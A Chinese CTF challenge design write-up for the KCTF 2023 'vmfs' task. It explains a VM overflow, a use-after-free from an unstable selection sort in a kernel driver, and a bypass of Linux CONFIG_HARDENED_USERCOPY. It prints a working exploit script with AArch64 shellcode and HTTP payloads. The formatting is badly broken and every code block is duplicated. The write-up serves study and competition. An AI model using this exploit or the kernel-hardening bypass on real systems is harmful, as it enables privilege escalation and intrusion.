-
-
[原创]2023 KCTF 年度赛 - vmfs
-
发表于: 2023-8-15 17:24 5168
-
团队名称:星盟安全团队
团长QQ:2462148389
参赛题目:vmfs
目答案(攻击脚本)、详细的题目设计说明和破解思路:详见百度网盘
链接:https://pan.baidu.com/s/16Kxgwoa3CFU8e1fO2XuJkQ?pwd=uirm
提取码:uirm
--来自百度网盘超级会员V7的分享
设计思路:
vm 中开启了一个 http 服务,该服务可以运行用户上传的代码,代码文件保存在 /dev/vmfs 驱动中,单独运行 vm 程序是无法执行代码的,因为程序无法找到驱动。
用户可以上传自己的代码,之后发送运行指令,使得代码在 vm 程序中执行,并返回执行得到的结果。
用户态功能:
内核态功能:
虚拟机的结构体如下:
在 runFile 函数中,req.size 可以由用户控制,而 vm.code 的大小仅有 0x8000 字节,当 req.size 大于 0x8000 字节时将溢出到后面的 data 结构体。但是,这要求目标文件节点本身就大于 0x8000 字节,否则驱动将会读取失败。
在 createFile 中可以看到程序限制了创建文件的大小,用户无法通过 createFile 请求来创建 大于 0x8000 字节的文件节点。
驱动初始化的时候会创建一下大小为 0x10000 节点的文件,因此可以用该文件节点来达到利用目的。
当控制了 vm.data 结构体之后,我们就拥有了任意地址读写的能力。
由于用户态还设置了沙箱保护,禁用了execve
系统调用。
所以需要攻击者在内存中自行布置攻击代码。
由于go启动的http服务对socket进行了设置,所以这里直接从socket读取内容会失败。
因此需要fork出一个新的进程来保持干净的环境。
同时将父进程挂起,防止系统关机。
随后子进程需要使用 fcntl(0, F_SETFL, 0)
来重置socket,重置之后 socket 才能恢复正常。
回收站并不会保存文件节点的地址,而是保存文件节点的索引,当文件处在回收站后,文件节点将不再可读写。驱动提供了四种排序方式,其中选择排序 VMFS_SELECTION_SORT
是不稳定的排序算法,正如数据结构这门课程里面提到的那样 ,当序列中有相同大小的值时,执行选择排序后他们的位置可能会发生变化。若使用选择排序,已删除的节点和未删除的节点就可能会混淆,从而导致UAF漏洞。
举个简单的例子,将下面的序列进行选择排序
此时两个5
的顺序发生了变化,结果是5*
排在 了 5
后面。
知道了原理后就可以利用该漏洞构造任意地址读写。
由于内核开了 CONFIG_STATIC_USERMODEHELPER
保护,因此无法劫持 modprobe_path
来达到提权目的。同时内核还开启了 CONFIG_HARDENED_USERCOPY
,函数 copy_from_user
和 copy_to_user
无法直接读写 task_struct
和 cred
。
让我们查看源码来寻求绕过方法,首先定位到 CONFIG_HARDENED_USERCOPY 的定义:
__check_heap_object
源码中没有什么方便的绕过方式,因此找到其上一层的调用函数 check_heap_object
其中 virt_addr_valid
判断失败的话则可以直接绕过 __check_heap_object
检查。
virt_addr_valid
函数如下:
通常我们会在内存的第一块区域,所以i=0
。
memblock_is_nomap
函数如下:
简单来说只要其物理地址的标志位带有 MEMBLOCK_NOMAP
则会返回 0。
因此我们要做的就是修改 memblock_memory_init_regions[0].flags
为 MEMBLOCK_NOMAP
,这样就可以绕过 __check_heap_object
检查。
恰好 memblock_memory_init_regions[0].flags
位于内核数据段上,因此有任意地址读写能力后很容易就能实现该修改操作。
在该题目中 memblock_memory_init_regions[0].flags
位于 0xffff80000a2ae1f8
地址上。
利用代码:
/
api
/
create
-
file
创建文件
/
api
/
write
-
file
写文件
/
api
/
run
-
file
运行文件
/
api
/
create
-
file
创建文件
/
api
/
write
-
file
写文件
/
api
/
run
-
file
运行文件
#define VMFS_CREATE_FILE 0xff00 // 创建文件节点
#define VMFS_MOVE_TO_TRASH 0xff01 // 将文件节点移动到回收站
#define VMFS_DELETE_FROM_TRASH 0xff02 // 彻底删除文件节点
#define VMFS_WRITE_FILE 0xff03 // 写文件节点
#define VMFS_READ_FILE 0xff04 // 读文件节点
#define VMFS_SORT_FILE 0xff05 // 对文件节点进行排序
#define VMFS_CREATE_FILE 0xff00 // 创建文件节点
#define VMFS_MOVE_TO_TRASH 0xff01 // 将文件节点移动到回收站
#define VMFS_DELETE_FROM_TRASH 0xff02 // 彻底删除文件节点
#define VMFS_WRITE_FILE 0xff03 // 写文件节点
#define VMFS_READ_FILE 0xff04 // 读文件节点
#define VMFS_SORT_FILE 0xff05 // 对文件节点进行排序
00000000 main_machine_0 struc ; (
sizeof
=0x80A0, align=0x8, copyof_2879)
00000000 ; XREF: main.runVM/r
00000000 ; main.runFile/r
00000000 reg DCQ 16 dup(?)
00000080 _pc DCQ ? ; XREF: main.runVM:loc_1F96C8/r
00000080 ; main.runVM+88/r ...
00000088 code DCQ 4096 dup(?) ; XREF: main.runVM+24/o
00008088 data _slice_uint64 ?
000080A0 main_machine_0 ends
00000000 _slice_uint64 struc ; (
sizeof
=0x18, align=0x8, copyof_224)
00000000 ; XREF: .data:crypto_sha512._K/r
00000000 ; main_machine_0/r ...
00000000 array DCQ ? ; XREF: crypto_sha512.blockGeneric+27C/r
00000000 ; crypto_sha512.blockAsm+10/r ; offset
00000008 len DCQ ? ; XREF: runtime._ptr_profBuf.write+38/w
00000008 ; runtime._ptr_profBuf.write+88/r ...
00000010 cap DCQ ? ; XREF: runtime._ptr_profBuf.write+4AC/w
00000010 ; runtime._ptr_profBuf.write+4D8/r ...
00000018 _slice_uint64 ends
00000000 main_machine_0 struc ; (
sizeof
=0x80A0, align=0x8, copyof_2879)
00000000 ; XREF: main.runVM/r
00000000 ; main.runFile/r
00000000 reg DCQ 16 dup(?)
00000080 _pc DCQ ? ; XREF: main.runVM:loc_1F96C8/r
00000080 ; main.runVM+88/r ...
00000088 code DCQ 4096 dup(?) ; XREF: main.runVM+24/o
00008088 data _slice_uint64 ?
000080A0 main_machine_0 ends
00000000 _slice_uint64 struc ; (
sizeof
=0x18, align=0x8, copyof_224)
00000000 ; XREF: .data:crypto_sha512._K/r
00000000 ; main_machine_0/r ...
00000000 array DCQ ? ; XREF: crypto_sha512.blockGeneric+27C/r
00000000 ; crypto_sha512.blockAsm+10/r ; offset
00000008 len DCQ ? ; XREF: runtime._ptr_profBuf.write+38/w
00000008 ; runtime._ptr_profBuf.write+88/r ...
00000010 cap DCQ ? ; XREF: runtime._ptr_profBuf.write+4AC/w
00000010 ; runtime._ptr_profBuf.write+4D8/r ...
00000018 _slice_uint64 ends
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x04
0xc00000b7
if
(A !
=
ARCH_AARCH64) goto
0006
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x15
0x02
0x00
0x00000142
if
(A
=
=
execveat) goto
0006
0004
:
0x15
0x01
0x00
0x0000003b
if
(A
=
=
execve) goto
0006
0005
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0006
:
0x06
0x00
0x00
0x00000000
return
KILL
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x04
0xc00000b7
if
(A !
=
ARCH_AARCH64) goto
0006
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x15
0x02
0x00
0x00000142
if
(A
=
=
execveat) goto
0006
0004
:
0x15
0x01
0x00
0x0000003b
if
(A
=
=
execve) goto
0006
0005
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0006
:
0x06
0x00
0x00
0x00000000
return
KILL
# user
def
req(api, data):
json_str
=
json.dumps(data)
sh.send((
f
'''POST {api} HTTP/1.1
Host: {host}:{port}
Accept: */*
Connection: keep-alive
Content-Length: {len(json_str)}
Content-Type: application/json
'''
.replace('\n
', '
\r\n')
+
json_str).encode())
vm_code
=
[]
def
write(address, value):
global
vm_code
vm_code
+
=
[
5
,
0
, value]
vm_code
+
=
[
7
, address
/
/
8
,
0
]
write(
0x498f10
,
0x68732f6e69622f
)
write(
0x498f00
,
0x498f10
)
shellcode
=
asm(
'''
mov x8, 220
mov x0, 19
mov x1, 0
svc 0 ;// fork
cmp x0, 0
bne over
;// child
mov x8, 24
mov x0, 4
mov x1, 0
mov x2, 0
svc 0 ;// dup3(4, 0, 0)
mov x8, 24
mov x0, 1
mov x1, 4
mov x2, 0
svc 0 ;// dup3(1, 4, 0)
mov x8, 24
mov x0, 0
mov x1, 1
mov x2, 0
svc 0 ;// dup3(0, 1, 0)
mov x8, 24
mov x0, 0
mov x1, 2
mov x2, 0
svc 0 ;// dup3(0, 2, 0)
mov x8, 25
mov x0, 0
mov x1, 4
mov x2, 0
svc 0 ;// fcntl(0, F_SETFL, 0)
str x0, [sp, 0]
mov x0, 0
mov x1, sp
mov x2, 8
mov x8, 64
svc 0
mov x8, 63
mov x0, 0
adr x1, 12
mov x2, 0x800
svc 0 ;// read(0, shellcode, 0x800)
shellcode:
over:
mov x8, 172
svc 0 ;// getpid
mov x8, 129
mov x1, 19
svc 0 ;// kill(self, SIGSTOP)
'''
)
shellcode_i
=
0
while
(shellcode):
tmp
=
shellcode[:
8
].ljust(
8
, b
'\0'
)
shellcode
=
shellcode[
8
:]
write(
0x498000
+
shellcode_i, u64(tmp))
shellcode_i
+
=
8
stack_list
=
[
0x400011b000
,
0x400012b000
,
0x4000187000
]
for
stack_addr
in
stack_list:
write(stack_addr
+
0x820
,
0x12808
)
write(stack_addr
+
0x840
,
0x498000
)
write(stack_addr
+
0x860
,
7
)
write(stack_addr
+
0x858
,
0x1000
)
write(stack_addr
+
0x850
,
0x498000
)
write(stack_addr
+
0x848
,
226
)
payload
=
{
"Id"
:
0x636db8c2
,
"ChooseIndex"
:
0
,
"Size"
:
0x8018
,
"Data"
:vm_code
+
[
0
]
*
(
0x1000
-
len
(vm_code))
+
[
0
,
0x7fffffffffffffff
,
0x7fffffffffffffff
]}
req(
'/api/write-file'
, payload)
payload
=
{
"Id"
:
0x636db8c2
,
"ChooseIndex"
:
0
,
"Size"
:
0x8018
}
req(
'/api/run-file'
, payload)
sh.recvuntil(b
'\0'
*
8
)
# user
def
req(api, data):
json_str
=
json.dumps(data)
sh.send((
f
'''POST {api} HTTP/1.1
Host: {host}:{port}
Accept: */*
Connection: keep-alive
Content-Length: {len(json_str)}
Content-Type: application/json
'''
.replace('\n
', '
\r\n')
+
json_str).encode())
vm_code
=
[]
def
write(address, value):
global
vm_code
vm_code
+
=
[
5
,
0
, value]
vm_code
+
=
[
7
, address
/
/
8
,
0
]
write(
0x498f10
,
0x68732f6e69622f
)
write(
0x498f00
,
0x498f10
)
shellcode
=
asm(
'''
mov x8, 220
mov x0, 19
mov x1, 0
svc 0 ;// fork
cmp x0, 0
bne over
;// child
mov x8, 24
mov x0, 4
mov x1, 0
mov x2, 0
svc 0 ;// dup3(4, 0, 0)
mov x8, 24
mov x0, 1
mov x1, 4
mov x2, 0
svc 0 ;// dup3(1, 4, 0)
mov x8, 24
mov x0, 0
mov x1, 1
mov x2, 0
svc 0 ;// dup3(0, 1, 0)
mov x8, 24
mov x0, 0
mov x1, 2
mov x2, 0
svc 0 ;// dup3(0, 2, 0)
mov x8, 25
mov x0, 0
mov x1, 4
mov x2, 0
svc 0 ;// fcntl(0, F_SETFL, 0)
str x0, [sp, 0]
mov x0, 0
mov x1, sp
mov x2, 8
mov x8, 64
svc 0
mov x8, 63
mov x0, 0
adr x1, 12
mov x2, 0x800
svc 0 ;// read(0, shellcode, 0x800)
shellcode:
over:
mov x8, 172
svc 0 ;// getpid
mov x8, 129
mov x1, 19
svc 0 ;// kill(self, SIGSTOP)
'''
)
shellcode_i
=
0
while
(shellcode):
tmp
=
shellcode[:
8
].ljust(
8
, b
'\0'
)
shellcode
=
shellcode[
8
:]
write(
0x498000
+
shellcode_i, u64(tmp))
shellcode_i
+
=
8
stack_list
=
[
0x400011b000
,
0x400012b000
,
0x4000187000
]
for
stack_addr
in
stack_list:
write(stack_addr
+
0x820
,
0x12808
)
write(stack_addr
+
0x840
,
0x498000
)
write(stack_addr
+
0x860
,
7
)
write(stack_addr
+
0x858
,
0x1000
)
write(stack_addr
+
0x850
,
0x498000
)
write(stack_addr
+
0x848
,
226
)
payload
=
{
"Id"
:
0x636db8c2
,
"ChooseIndex"
:
0
,
"Size"
:
0x8018
,
"Data"
:vm_code
+
[
0
]
*
(
0x1000
-
len
(vm_code))
+
[
0
,
0x7fffffffffffffff
,
0x7fffffffffffffff
]}
req(
'/api/write-file'
, payload)
payload
=
{
"Id"
:
0x636db8c2
,
"ChooseIndex"
:
0
,
"Size"
:
0x8018
}
req(
'/api/run-file'
, payload)
sh.recvuntil(b
'\0'
*
8
)
static
ssize_t vmfs_ioctl(
struct
file *file, unsigned
int
cmd,
size_t
arg)
{
struct
user_argv argv;
size_t
result = 0;
mutex_lock(&vmfs_lock);
if
(result == 0 && copy_from_user(&argv, (
void
*)arg,
sizeof
(argv)))
{
result = -1;
}
if
(result == 0 && argv.id == NONE)
{
result = -1;
}
if
(result == 0)
{
switch
(cmd)
{
case
VMFS_CREATE_FILE:
if
(result == 0 && add(argv.size, argv.id))
{
result = -1;
}
break
;
case
VMFS_MOVE_TO_TRASH:
if
(result == 0 && move_to_trash(argv.id, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_DELETE_FROM_TRASH:
if
(result == 0 && delete_from_trash(argv.id, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_WRITE_FILE:
if
(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_READ_FILE:
if
(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_SORT_FILE:
switch
(argv.sort_option)
{
case
VMFS_BUBBLE_SORT:
bubble_sort();
break
;
case
VMFS_INSERT_SORT:
insert_sort();
break
;
case
VMFS_SELECTION_SORT:
selection_sort();
break
;
case
VMFS_MERGE_SORT:
merge_sort();
break
;
default
:
result = -1;
break
;
}
break
;
default
:
result = -1;
break
;
}
}
mutex_unlock(&vmfs_lock);
return
result;
}
static
ssize_t vmfs_ioctl(
struct
file *file, unsigned
int
cmd,
size_t
arg)
{
struct
user_argv argv;
size_t
result = 0;
mutex_lock(&vmfs_lock);
if
(result == 0 && copy_from_user(&argv, (
void
*)arg,
sizeof
(argv)))
{
result = -1;
}
if
(result == 0 && argv.id == NONE)
{
result = -1;
}
if
(result == 0)
{
switch
(cmd)
{
case
VMFS_CREATE_FILE:
if
(result == 0 && add(argv.size, argv.id))
{
result = -1;
}
break
;
case
VMFS_MOVE_TO_TRASH:
if
(result == 0 && move_to_trash(argv.id, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_DELETE_FROM_TRASH:
if
(result == 0 && delete_from_trash(argv.id, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_WRITE_FILE:
if
(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_READ_FILE:
if
(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
{
result = -1;
}
break
;
case
VMFS_SORT_FILE:
switch
(argv.sort_option)
{
case
VMFS_BUBBLE_SORT:
bubble_sort();
break
;
case
VMFS_INSERT_SORT:
insert_sort();
break
;
case
VMFS_SELECTION_SORT:
selection_sort();
break
;
case
VMFS_MERGE_SORT:
merge_sort();
break
;
default
:
result = -1;
break
;
}
break
;
default
:
result = -1;
break
;
}
}
mutex_unlock(&vmfs_lock);
return
result;
}
5
*
5
2
5
*
5
2
2
5
5
*
2
5
5
*
#ifdef CONFIG_HARDENED_USERCOPY
/*
* Rejects incorrectly sized objects and objects that are to be copied
* to/from userspace but do not fall entirely within the containing slab
* cache's usercopy region.
*
* Returns NULL if check passes, otherwise const char * to name of cache
* to indicate an error.
*/
void
__check_heap_object(
const
void
*ptr, unsigned
long
n,
const
struct
slab *slab,
bool
to_user)
{
struct
kmem_cache *s;
unsigned
int
offset;
bool
is_kfence = is_kfence_address(ptr);
ptr = kasan_reset_tag(ptr);
/* Find object and usable object size. */
s = slab->slab_cache;
/* Reject impossible pointers. */
if
(ptr < slab_address(slab))
usercopy_abort(
"SLUB object not in SLUB page?!"
, NULL,
to_user, 0, n);
/* Find offset within object. */
if
(is_kfence)
offset = ptr - kfence_object_start(ptr);
else
offset = (ptr - slab_address(slab)) % s->size;
/* Adjust for redzone and reject if within the redzone. */
if
(!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
if
(offset < s->red_left_pad)
usercopy_abort(
"SLUB object in left red zone"
,
s->name, to_user, offset, n);
offset -= s->red_left_pad;
}
/* Allow address range falling entirely within usercopy region. */
if
(offset >= s->useroffset &&
offset - s->useroffset <= s->usersize &&
n <= s->useroffset - offset + s->usersize)
return
;
usercopy_abort(
"SLUB object"
, s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */
#ifdef CONFIG_HARDENED_USERCOPY
/*
* Rejects incorrectly sized objects and objects that are to be copied
* to/from userspace but do not fall entirely within the containing slab
* cache's usercopy region.
*
* Returns NULL if check passes, otherwise const char * to name of cache
* to indicate an error.
*/
void
__check_heap_object(
const
void
*ptr, unsigned
long
n,
const
struct
slab *slab,
bool
to_user)
{
struct
kmem_cache *s;
unsigned
int
offset;
bool
is_kfence = is_kfence_address(ptr);
ptr = kasan_reset_tag(ptr);
/* Find object and usable object size. */
s = slab->slab_cache;
/* Reject impossible pointers. */
if
(ptr < slab_address(slab))
usercopy_abort(
"SLUB object not in SLUB page?!"
, NULL,
to_user, 0, n);
/* Find offset within object. */
if
(is_kfence)
offset = ptr - kfence_object_start(ptr);
else
offset = (ptr - slab_address(slab)) % s->size;
/* Adjust for redzone and reject if within the redzone. */
if
(!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
if
(offset < s->red_left_pad)
usercopy_abort(
"SLUB object in left red zone"
,
s->name, to_user, offset, n);
offset -= s->red_left_pad;
}
/* Allow address range falling entirely within usercopy region. */
if
(offset >= s->useroffset &&
offset - s->useroffset <= s->usersize &&
n <= s->useroffset - offset + s->usersize)
return
;
usercopy_abort(
"SLUB object"
, s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */
static
inline
void
check_heap_object(
const
void
*ptr, unsigned
long
n,
bool
to_user)
{
unsigned
long
addr = (unsigned
long
)ptr;
unsigned
long
offset;
struct
folio *folio;
if
(is_kmap_addr(ptr)) {
offset = offset_in_page(ptr);
if
(n > PAGE_SIZE - offset)
usercopy_abort(
"kmap"
, NULL, to_user, offset, n);
return
;
}
if
(is_vmalloc_addr(ptr) && !pagefault_disabled()) {
struct
vmap_area *area = find_vmap_area(addr);
if
(!area)
usercopy_abort(
"vmalloc"
,
"no area"
, to_user, 0, n);
if
(n > area->
va_end
- addr) {
offset = addr - area->
va_start
;
usercopy_abort(
"vmalloc"
, NULL, to_user, offset, n);
}
return
;
}
if
(!virt_addr_valid(ptr))
return
;
folio = virt_to_folio(ptr);
if
(folio_test_slab(folio)) {
/* Check slab allocator for flags and size. */
__check_heap_object(ptr, n, folio_slab(folio), to_user);
}
else
if
(folio_test_large(folio)) {
offset = ptr - folio_address(folio);
if
(n > folio_size(folio) - offset)
usercopy_abort(
"page alloc"
, NULL, to_user, offset, n);
}
}
static
inline
void
check_heap_object(
const
void
*ptr, unsigned
long
n,
bool
to_user)
{
unsigned
long
addr = (unsigned
long
)ptr;
unsigned
long
offset;
struct
folio *folio;
if
(is_kmap_addr(ptr)) {
offset = offset_in_page(ptr);
if
(n > PAGE_SIZE - offset)
usercopy_abort(
"kmap"
, NULL, to_user, offset, n);
return
;
}
if
(is_vmalloc_addr(ptr) && !pagefault_disabled()) {
struct
vmap_area *area = find_vmap_area(addr);
if
(!area)
usercopy_abort(
"vmalloc"
,
"no area"
, to_user, 0, n);
if
(n > area->
va_end
- addr) {
offset = addr - area->
va_start
;
usercopy_abort(
"vmalloc"
, NULL, to_user, offset, n);
}
return
;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)